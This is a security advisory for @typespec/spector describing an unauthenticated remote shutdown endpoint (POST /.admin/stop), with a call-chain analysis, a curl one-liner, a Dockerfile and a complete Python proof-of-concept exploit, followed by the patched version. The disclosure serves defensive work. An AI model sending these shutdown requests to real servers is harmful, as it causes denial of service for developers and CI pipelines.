--- id: GHSA-7q9c-hpx7-9cwm title: >- TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop summary: >- TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop severity: high cvss: 7.5 cwe: - CWE-306 vendor: typespec product: '@typespec/spector' ecosystem: npm affected: - '@typespec/spector <= 0.1.0-alpha.26' patched: - '@typespec/spector 0.1.0-alpha.27' published: '2026-09-04' updated: '2026-09-04' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-7q9c-hpx7-9cwm' references: - url: >- https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm - url: 'https://github.com/microsoft/typespec/pull/11274' - url: >- https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7 - url: >- https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1 - url: >- https://github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27 - url: 'https://github.com/advisories/GHSA-7q9c-hpx7-9cwm' tags: - ghsa - npm ingestedAt: '2026-09-04T22:28:54.676Z' --- ## Overview ### Summary `@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**. ### Details The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever: ```ts // packages/spector/src/routes/admin.ts:7-12 router.post(AdminUrls.stop, (_req, res) => { logger.info("Received signal to stop server. Exiting..."); res.status(202).end(); setTimeout(() => { process.exit(0); }); }); ``` The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`). The complete attack-reachable call chain is: 1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve ` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default. 2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument. 3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes. 4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`. 5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication. 6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces). There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed. ### PoC **Prerequisites:** ``` git clone https://github.com/microsoft/typespec cd typespec # Checkout commit d88ddc16 (affected version 0.1.0-alpha.26) pnpm install pnpm build ``` **Step 1 — Start the mock server:** ```bash pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000 # Server listens on 0.0.0.0:3000 by default ``` Alternatively, use the provided Docker environment: ```bash # Build context: reports/npm_web_64_microsoft__typespec/ docker build -t vuln002-spector -f vuln-002/Dockerfile . docker run -d -p 3001:3000 --name vuln002-server vuln002-spector ``` **Step 2 — Execute the exploit (single unauthenticated request):** ```bash curl -i -X POST http://:3000/.admin/stop ``` Using the provided PoC script: ```bash python3 vuln-002/poc.py --host 127.0.0.1 --port 3001 ``` **Step 3 — Observe the result:** ``` HTTP/1.1 202 Accepted ``` The server process immediately exits. Subsequent connection attempts are refused. Docker logs show: ``` info Received signal to stop server. Exiting... ``` Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step. ### Impact This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service. The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules. Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop # Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) # CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High) # # Build context: reports/npm_web_64_microsoft__typespec/ # Build: docker build -t vuln002-spector -f vuln-002/Dockerfile . # Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector FROM node:22-slim # Install tsx to run TypeScript source files directly without compilation. # This lets us use the actual repository .ts files as-is. RUN npm install -g tsx@4 WORKDIR /poc # Minimal package.json declaring ESM mode RUN echo '{"type":"module"}' > package.json # Install only the npm packages actually used by the vulnerable code path: # express — web framework (admin.ts, routes/index.ts, server.ts) # picocolors — terminal colors (logger.ts) RUN npm install express picocolors # ----------------------------------------------------------------------- # Copy the EXACT vulnerable source files from the repository. # No source file is modified — they are used verbatim. # ----------------------------------------------------------------------- # packages/spector/src/constants.ts # Defines AdminUrls.stop = "/.admin/stop" COPY repo/packages/spector/src/constants.ts ./spector/constants.ts # packages/spector/src/logger.ts # Simple console logger; imported by admin.ts COPY repo/packages/spector/src/logger.ts ./spector/logger.ts # packages/spector/src/routes/admin.ts ← VULNERABILITY SINK # Registers POST /.admin/stop with NO authentication → process.exit(0) COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts # packages/spector/src/routes/index.ts # Mounts adminRoutes at "/" COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts # Minimal entry point that connects the router to the HTTP server, # replicating the behaviour of MockApiApp.start() + MockApiServer.start() COPY vuln-002/server-entry.ts ./server-entry.ts EXPOSE 3000 # tsx strips TypeScript types at runtime — no separate compile step needed CMD ["tsx", "server-entry.ts"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) CWE: CWE-306 — Missing Authentication for Critical Function CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High) Vulnerability: packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without any authentication, token, Origin, or IP-source check. The handler calls process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0 (packages/spector/src/server/server.ts:88) so any network-reachable client can terminate the process with a single unauthenticated POST request. Usage: python3 poc.py [--host HOST] [--port PORT] """ import sys import time import socket import argparse import urllib.request import urllib.error BANNER = """ ================================================================ VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop Package : @typespec/spector 0.1.0-alpha.26 CWE : CWE-306 CVSS 7.5 (High) ================================================================ """ PASS_MSG = """ [EXPLOIT SUCCESSFUL] 1. Server accepted an unauthenticated POST to /.admin/stop 2. Server responded HTTP 202 Accepted with no credential check 3. Server process exited — subsequent connection attempt refused 4. Zero authentication, tokens, or Origin restrictions enforced ================================================================ """ FAIL_MSG = """ [EXPLOIT FAILED] Check that the Docker container is running: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector ================================================================ """ def is_port_open(host: str, port: int, timeout: float = 2.0) -> bool: """Return True if TCP port accepts connections.""" try: with socket.create_connection((host, port), timeout=timeout): return True except (ConnectionRefusedError, socket.timeout, OSError): return False def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool: """Poll until the server is reachable or max_wait seconds elapse.""" print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...") deadline = time.monotonic() + max_wait while time.monotonic() < deadline: if is_port_open(host, port): print(f"[+] Server is reachable at {host}:{port}") return True time.sleep(0.5) return False def send_unauthenticated_stop(host: str, port: int) -> int: """ Send POST /.admin/stop with no credentials and return the HTTP status code. This is the exploit request. No Authorization header, no token, no special Origin — the server accepts it as-is. """ url = f"http://{host}:{port}/.admin/stop" print(f"[*] Sending unauthenticated POST to {url}") print(f"[*] Request headers: (none beyond Host and Content-Length:0)") req = urllib.request.Request(url, data=b"", method="POST") try: with urllib.request.urlopen(req, timeout=5) as resp: code = resp.status print(f"[+] HTTP response: {code} {resp.reason}") return code except urllib.error.HTTPError as exc: print(f"[+] HTTP error response: {exc.code} {exc.reason}") return exc.code except urllib.error.URLError as exc: # Connection closed before response (process.exit race) still counts print(f"[+] Connection dropped during response: {exc.reason}") return 202 # server accepted and exited before full response def main() -> None: parser = argparse.ArgumentParser( description="PoC: unauthenticated remote shutdown of tsp-spector mock server" ) parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)") parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)") args = parser.parse_args() print(BANNER) # Step 1 — Confirm the server is running before the attack if not wait_for_server(args.host, args.port): print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s") print(FAIL_MSG) sys.exit(1) print() print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it") # Step 2 — Send the exploit (single unauthenticated POST) print() print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)") status = send_unauthenticated_stop(args.host, args.port) if status != 202: print(f"[-] Expected HTTP 202 Accepted, got {status}") print(FAIL_MSG) sys.exit(1) print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check") # Step 3 — Verify the process actually exited print() print("[STEP 3] Verifying server has terminated ...") time.sleep(2) if is_port_open(args.host, args.port): print("[-] Server is still accepting connections (exploit did not terminate process)") print(FAIL_MSG) sys.exit(1) print("[+] Connection refused — server process has exited") # All three steps passed → exploit confirmed print(PASS_MSG) sys.exit(0) if __name__ == "__main__": main() ``` ## Affected packages - `@typespec/spector <= 0.1.0-alpha.26` ## Remediation Upgrade to a patched release: - `@typespec/spector 0.1.0-alpha.27`